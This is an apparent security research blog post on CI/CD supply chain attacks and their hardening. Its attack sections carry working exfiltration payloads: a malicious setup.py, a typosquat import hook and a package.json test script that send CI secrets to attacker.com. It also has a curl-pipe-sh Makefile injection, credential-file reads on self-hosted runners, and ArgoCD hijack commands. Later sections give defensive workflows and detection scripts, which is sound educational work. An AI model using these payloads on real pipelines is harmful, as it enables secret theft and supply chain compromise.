Back to Blog
Cloud IAM Security

Supply Chain Attacks: Compromising CI/CD Pipelines in the Cloud

OffSec Research Team
10 June 2026 • 09:00 AM15 min
Supply Chain Attacks: Compromising CI/CD Pipelines in the Cloud
TL;DR — CI/CD pipelines are the most privileged systems in a modern engineering organization: they read source code, build artifacts, hold deployment credentials, and push to production. Attackers who compromise a build pipeline bypass endpoint controls, code review, and most runtime defenses entirely. This post covers the full attack surface across source repositories, build systems, artifact registries, and deployment pipelines — with specific deep dives into GitHub Actions pwn requests, dependency confusion, and ArgoCD exploitation — followed by the SLSA framework, Sigstore, and OIDC federation hardening that reduce the blast radius to something defensible.

Executive Summary

The SolarWinds attack of 2020 changed the security industry's threat model for build systems. A compromise of the Orion build server allowed attackers to inject a backdoor into signed, distributed software that was then deployed by 18,000 organizations, including multiple US federal agencies. The attack was not an exotic zero-day — it was a build system with insufficient integrity controls around the compilation and signing process.

Since SolarWinds, the CI/CD supply chain has become a primary target category. The Codecov breach (2021) demonstrated that a compromised CI script — in this case a bash uploader modified by an attacker who gained access to Codecov's Docker image build process — could silently exfiltrate environment variables, including CI secrets, from every organization using the tool. Alex Birsan's dependency confusion research (2021) showed that package managers could be tricked into preferring attacker-controlled packages over internal ones at scale across Microsoft, Apple, Uber, and dozens of other companies.

This post maps the attack surface methodically, from source repository compromise through build-time dependency injection, artifact poisoning, and deployment pipeline hijacking, with concrete exploitation examples and the hardening controls that neutralize each class.

The CI/CD Attack Surface

diagram — rendering…
graph TD
    A[Developer Workstation] -->|git push| B[Source Repository\nGitHub / GitLab / Bitbucket]
    B -->|webhook trigger| C[Build System\nGitHub Actions / Jenkins /\nCircleCI / Azure DevOps]
    C -->|fetch dependencies| D[Package Registries\nnpm / PyPI / Maven / NuGet]
    C -->|build artifact| E[Artifact Registry\nDocker Hub / ECR /\nArtifactory / Nexus]
    E -->|deploy trigger| F[Deployment System\nArgoCD / FluxCD /\nHelm / Terraform Cloud]
    F -->|apply| G[Production Environment\nKubernetes / ECS / Lambda]

    style B fill:#ff9999
    style C fill:#ff9999
    style D fill:#ff9999
    style E fill:#ff9999
    style F fill:#ff9999

Every arrow in this diagram is an attack vector. The following sections enumerate the primary attack paths at each stage.

Source Repository Compromise

Branch Protection Bypass

Branch protection rules are the primary gate preventing unauthorized code from entering the main branch. Common bypass patterns include:

bash
# Enumerate branch protection rules via GitHub APIgh api repos/OWNER/REPO/branches/main/protection # Common weaknesses:# - Admin bypass enabled (allows repository admins to push directly)# - Required reviewers from the same team as the attacker# - Status checks not required (CI can be bypassed)# - Dismiss stale reviews not enabled # Force-push to a protected branch if admin bypass is enabledgit push origin main --force # Create a PR from a compromised contributor account# with a dependency update that looks legitimate

Git History Injection

If an attacker obtains write access to a repository (compromised developer credential, OAuth app with write scope, or a compromised CI bot token with push permission), they can inject malicious commits into history or rewrite tags to point to malicious code:

bash
# Rewrite a release tag to point to attacker-controlled commitgit tag -f v1.2.3 <malicious-commit-sha>git push origin v1.2.3 --force # If the tag is used as a dependency reference in downstream projects,# those projects will now pull the malicious code on their next install # Git history can also be poisoned with malicious files that look# like legitimate cleanup commitsgit filter-branch --tree-filter \  'echo "curl -s https://attacker.com/beacon|sh" >> Makefile' \  -- --all

Dependency Confusion and Typosquatting

The Birsan Attack Pattern

Alex Birsan's 2021 dependency confusion research demonstrated that npm, pip, and gem would prefer a public package over an internal one if the version number was higher. The attack is conceptually simple but had massive real-world impact:

bash
# Identify internal package names from public sources:# - package.json with scoped packages: @company/internal-auth# - requirements.txt committed to public repos# - Docker image layers (via dive tool)# - Build logs accidentally made public # Create a malicious package with the same name on the public registry# with a very high version number (e.g., 9999.0.0)# pip will prefer the public version over the private index # Example malicious setup.py that executes on installcat > setup.py << 'EOF'from setuptools import setupfrom subprocess import check_outputimport os, sys, base64 def exfiltrate():    try:        env_data = str(os.environ)        hostname = check_output(['hostname']).decode().strip()        whoami = check_output(['whoami']).decode().strip()        payload = base64.b64encode(f"{hostname}|{whoami}|{env_data}".encode()).decode()        check_output(['curl', '-s', f'https://attacker.com/collect?d={payload}'])    except:        pass exfiltrate() setup(    name='company-internal-auth',    version='9999.0.0',    description='Internal authentication library',)EOF

Typosquatting Build Dependencies

Beyond dependency confusion, typosquatting targets human error in package names. Popular targets include packages with high install counts where a single character change creates a plausible alternative:

Legitimate PackageTyposquatted VersionTechnique
requestsrequest / requetsCharacter omission/swap
boto3boto / botto3Doubled character
cryptographycryptograpyMissing character
setuptoolssetuptoolSingular vs plural
urllib3urlib3 / urllibMissing character
python
# Malicious package that executes at import time# This runs before any application code sees the import import osimport sysimport socketimport subprocess def _beacon():    try:        data = {            'hostname': socket.gethostname(),            'user': os.environ.get('USER', 'unknown'),            'path': os.getcwd(),            'env': dict(os.environ),        }        # Filter for CI-specific variables        ci_keys = [k for k in data['env'] if any(            x in k for x in ['SECRET', 'TOKEN', 'KEY', 'PASSWORD', 'CREDENTIAL', 'AWS']        )]        payload = {k: data['env'][k] for k in ci_keys}        subprocess.Popen(            ['curl', '-s', '-X', 'POST', 'https://attacker.com/ci-harvest',             '-d', str(payload)],            stdout=subprocess.DEVNULL,            stderr=subprocess.DEVNULL        )    except Exception:        pass _beacon() # Re-export the legitimate module's interface to avoid detection# The poisoned package falls back gracefully to the real package name

GitHub Actions Attack Vectors

The pullrequesttarget Trigger

The most dangerous misuse in GitHub Actions is the pull_request_target trigger. Unlike pull_request (which runs in the context of the fork with no access to secrets), pull_request_target runs in the context of the base repository, with access to repository secrets and GITHUB_TOKEN at its full permissions. The intended use is to allow automated responses to pull requests from forks (labeling, welcome messages). The dangerous misuse is checking out the PR's code and executing it:

yaml
# VULNERABLE: Runs untrusted code from fork with access to secretsname: Run tests on PR (VULNERABLE) on:  pull_request_target:    types: [opened, synchronize] jobs:  test:    runs-on: ubuntu-latest    steps:      - name: Checkout PR code        uses: actions/checkout@v4        with:          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled!       - name: Install dependencies        run: npm install  # Runs attacker's package.json       - name: Run tests        run: npm test     # Runs attacker's test scripts with SECRETS in env        env:          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}     # Exposed to attacker!          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}        # Exposed to attacker!          AWS_ROLE_ARN: ${{ secrets.AWS_ROLE_ARN }}  # Exposed to attacker!

The attack is called a "pwn request": fork the repository, modify a build script (package.json test script, Makefile, pytest configuration, CMakeLists.txt), and open a pull request. The vulnerable workflow checks out the fork's code and runs it with production secrets in the environment.

bash
# Attacker's modified package.json in the forkcat > package.json << 'EOF'{  "name": "target-repo",  "scripts": {    "test": "curl -s -X POST https://attacker.com/harvest -d \"$(env | base64)\" && jest"  }}EOF # Or more subtly, via a malicious dependency in package.json# that is loaded at test time

GITHUB_TOKEN Over-Privilege

The default GITHUB_TOKEN permissions vary by repository settings and workflow trigger, but the most dangerous configuration grants write permissions to all repository resources:

yaml
# VULNERABLE: Overly broad GITHUB_TOKEN permissionsname: Build and Deploy (VULNERABLE) on:  push:    branches: [main] permissions:  contents: write      # Can push to any branch, overwrite history  packages: write      # Can push to GitHub Container Registry  deployments: write   # Can create/modify deployments  pull-requests: write # Can merge PRs, approve reviews jobs:  build:    runs-on: ubuntu-latest    steps:      - uses: actions/checkout@v4      - run: docker build -t ghcr.io/org/app:latest .      - run: docker push ghcr.io/org/app:latest

If a workflow with these permissions is compromised (via a malicious action, a pwn request, or workflow injection through an expression), the attacker can push malicious images to the registry, approve and merge PRs without review, and modify deployment configurations.

Secrets Exfiltration via Debug Logging

GitHub Actions secrets are masked in logs, but the masking is bypassable through encoding:

bash
# Secrets are masked in plain form but not when encodedecho $SECRET_VALUE | base64    # Base64 output not maskedecho $SECRET_VALUE | xxd       # Hex dump not masked # Environment variable leak via debug mode# If ACTIONS_STEP_DEBUG is set to true (repo variable), all steps dump env# Attackers who can set repo variables can enable this # Artifact upload exfiltration — upload secrets as workflow artifact- name: Debug step (NEVER do this)  run: env > /tmp/env.txt- uses: actions/upload-artifact@v4  with:    name: debug-env    path: /tmp/env.txt    retention-days: 1

Self-Hosted Runner Compromise

Self-hosted runners execute on infrastructure controlled by the organization but configured to accept jobs from GitHub. They are particularly dangerous because:

  • They persist between workflow runs (unlike GitHub-hosted ephemeral runners)
  • They may have access to internal network resources
  • They retain credentials and disk state from previous jobs
  • A compromised runner can be a pivot point into the on-premises environment
bash
# From a compromised self-hosted runner job# The runner process has access to: # 1. All environment variables set by previous jobs (if runner not ephemeral)ls /home/runner/work/ # 2. Cached credentials in standard tool locationscat ~/.aws/credentialscat ~/.docker/config.jsoncat ~/.npmrccat ~/.m2/settings.xml # 3. Network access to internal servicesnmap -sn 10.0.0.0/8    # Internal network reconnaissance # 4. The runner registration token (allows registering additional runners)cat /home/runner/.credentials

ArgoCD Exploitation

ArgoCD is a GitOps continuous delivery tool that automatically deploys Kubernetes manifests from git repositories. Its ServiceAccount typically has broad cluster permissions, making it a high-value target:

bash
# Enumerate ArgoCD applications and their sync statusargocd app list # Access ArgoCD API directly with a stolen tokencurl -s https://argocd.internal/api/v1/applications \  -H "Authorization: Bearer $ARGOCD_TOKEN" # Modify an application's source to point to attacker-controlled repoargocd app set production-api \  --repo https://github.com/attacker/malicious-manifests \  --revision main # Or directly patch the ArgoCD Application resourcekubectl patch application production-api -n argocd \  --type=merge \  -p '{"spec":{"source":{"repoURL":"https://github.com/attacker/pwn","targetRevision":"main"}}}' # ArgoCD with overprivileged SA — the SA can do everything ArgoCD can do# which usually includes deploying to all namespaceskubectl get clusterrolebindings | grep argocd

Hardening: From Vulnerable to Secure

Hardened GitHub Actions Workflow

yaml
# SECURE: Hardened workflow with minimal permissions and pinned actionsname: Build and Deploy (SECURE) on:  push:    branches: [main]  pull_request:                    # NOT pull_request_target    branches: [main] # Minimal permissions — explicitly deny everything, grant only what's neededpermissions:  contents: read  packages: write                  # Only for the push job jobs:  test:    runs-on: ubuntu-latest    permissions:      contents: read               # Job-level override    steps:      # Pin to SHA, not a mutable tag      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2        with:          persist-credentials: false  # Don't persist GITHUB_TOKEN       # Pin all third-party actions to SHA      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af  # v4.1.0        with:          node-version: '20'       - name: Install dependencies        run: npm ci --ignore-scripts    # --ignore-scripts prevents malicious postinstall       - name: Run tests        run: npm test   build-and-push:    needs: test    runs-on: ubuntu-latest    if: github.ref == 'refs/heads/main'    permissions:      contents: read      packages: write      id-token: write              # Required for OIDC federation    steps:      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683       # Use OIDC federation instead of long-lived AWS credentials      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4.0.2        with:          role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy          role-session-name: github-actions-${{ github.run_id }}          aws-region: us-east-1       - name: Build and push with cosign        run: |          docker build -t $IMAGE_TAG .          docker push $IMAGE_TAG          # Sign the image with cosign          cosign sign --yes $IMAGE_TAG

OIDC Federation: Eliminating Long-Lived Secrets

OIDC federation replaces static AWS/Azure/GCP credentials stored as GitHub Secrets with short-lived tokens issued by the CI provider's identity service:

bash
# AWS IAM OIDC trust policy — restrict to specific repository AND branchcat > trust-policy.json << 'EOF'{  "Version": "2012-10-17",  "Statement": [    {      "Effect": "Allow",      "Principal": {        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"      },      "Action": "sts:AssumeRoleWithWebIdentity",      "Condition": {        "StringEquals": {          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"        },        "StringLike": {          # CRITICAL: Lock to specific repo and branch, not just org          # A too-broad condition (just org) allows any repo in the org to assume the role          "token.actions.githubusercontent.com:sub":             "repo:myorg/myrepo:ref:refs/heads/main"        }      }    }  ]}EOF # Bad — too broad, allows any repo in org# "repo:myorg/*:*" # Good — specific repo and branch# "repo:myorg/production-deploy:ref:refs/heads/main" # Create the roleaws iam create-role \  --role-name github-actions-deploy \  --assume-role-policy-document file://trust-policy.json

Artifact Signing with Sigstore/Cosign

bash
# Sign a container image after buildcosign sign --yes ghcr.io/myorg/myapp:${SHA} # Verify before deploymentcosign verify \  --certificate-identity-regexp="^https://github.com/myorg/myapp/.github/workflows/.*" \  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \  ghcr.io/myorg/myapp:${SHA} # Generate an SBOM and attest itsyft ghcr.io/myorg/myapp:${SHA} -o cyclonedx-json > sbom.jsoncosign attest --yes --predicate sbom.json --type cyclonedx \  ghcr.io/myorg/myapp:${SHA} # Verify the attestation in a deployment admission controller (Kyverno policy)# This ensures only signed images from verified workflows reach production

SLSA Framework

The Supply-chain Levels for Software Artifacts (SLSA) framework defines four levels of supply chain integrity:

SLSA LevelRequirementsThreat Mitigated
Level 1Provenance exists (build process documented)Accidental errors, some tampering
Level 2Hosted build service; signed provenanceForge the build provenance
Level 3Hardened build platform; two-party reviewCompromise the build platform config
Level 4Two-person review; hermetic, reproducible buildsInsider threat; compromised source
bash
# GitHub Actions SLSA provenance generation (using official SLSA generator)# This attests that the artifact was built by a specific workflow# at a specific commit, enabling consumers to verify provenance # In your workflow:- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.0.0  with:    image: ghcr.io/myorg/myapp    digest: ${{ steps.build.outputs.digest }}    registry-username: ${{ github.actor }}    registry-password: ${{ secrets.GITHUB_TOKEN }}

Detection and Mitigation

Detecting Dependency Confusion

python
#!/usr/bin/env python3# Scan for internal package names that exist on public registries# with higher version numbers (dependency confusion indicator) import jsonimport subprocessimport requests def check_dependency_confusion(package_name, internal_version, registry='pypi'):    """Check if an internal package name exists on public registry with higher version."""    if registry == 'pypi':        url = f"https://pypi.org/pypi/{package_name}/json"    elif registry == 'npm':        url = f"https://registry.npmjs.org/{package_name}"        try:        r = requests.get(url, timeout=5)        if r.status_code == 200:            data = r.json()            if registry == 'pypi':                public_version = data['info']['version']            else:                public_version = data['dist-tags']['latest']                        # Flag if public version is higher than internal            from packaging import version            if version.parse(public_version) > version.parse(internal_version):                print(f"[ALERT] Dependency confusion risk: {package_name}")                print(f"  Internal: {internal_version}, Public: {public_version}")                return True    except Exception as e:        pass    return False # Load internal requirementswith open('requirements.txt') as f:    for line in f:        package, _, version = line.strip().partition('==')        check_dependency_confusion(package, version)

Workflow Security Audit

bash
# Scan all workflows for pull_request_target with checkout of PR codegrep -r "pull_request_target" .github/workflows/ | \  grep -v "^#" # Find all workflows using this trigger # Check for unpinned actions (using branch tags instead of SHA)grep -r "uses:" .github/workflows/ | \  grep -v "@[0-9a-f]\{40\}" | \  grep -v "^#"  # These are mutable references — should be SHA-pinned # Check for secret exposure patternsgrep -rE "(env|echo|printf).*\\\$\\{\\{ secrets\\..*\\}\\}" .github/workflows/ # Audit GITHUB_TOKEN permissionsgrep -r "permissions:" .github/workflows/ | head -30

Conclusion

The CI/CD pipeline is not a supporting system — it is the highest-privilege system in the engineering organization. A compromised build system can produce malicious artifacts that are code-signed, pass all quality gates, and deploy to production without triggering any runtime security control. SolarWinds demonstrated this at catastrophic scale; Codecov and the dozens of smaller supply chain incidents since confirm it is not a one-off.

The attack patterns documented here — pwn requests, dependency confusion, OIDC misconfiguration, self-hosted runner persistence — are well-understood and actively exploited. The defenses exist: pin actions to SHA, restrict OIDC sub claims to specific repos and branches, use pull_request not pull_request_target when untrusted code must be checked out, sign artifacts with Sigstore, and enforce SLSA provenance in deployment admission controllers.

Supply chain security is an asymmetric problem: the attacker needs to find one gap in one dependency in one pipeline; the defender must close every gap across the entire dependency graph, forever. The SLSA framework and tooling like Sigstore, syft, and grype represent the industry's best current answer to making that asymmetry less favorable to the attacker. The organizations that treat their CI/CD infrastructure with the same rigor as their production systems are the ones that will not become a case study.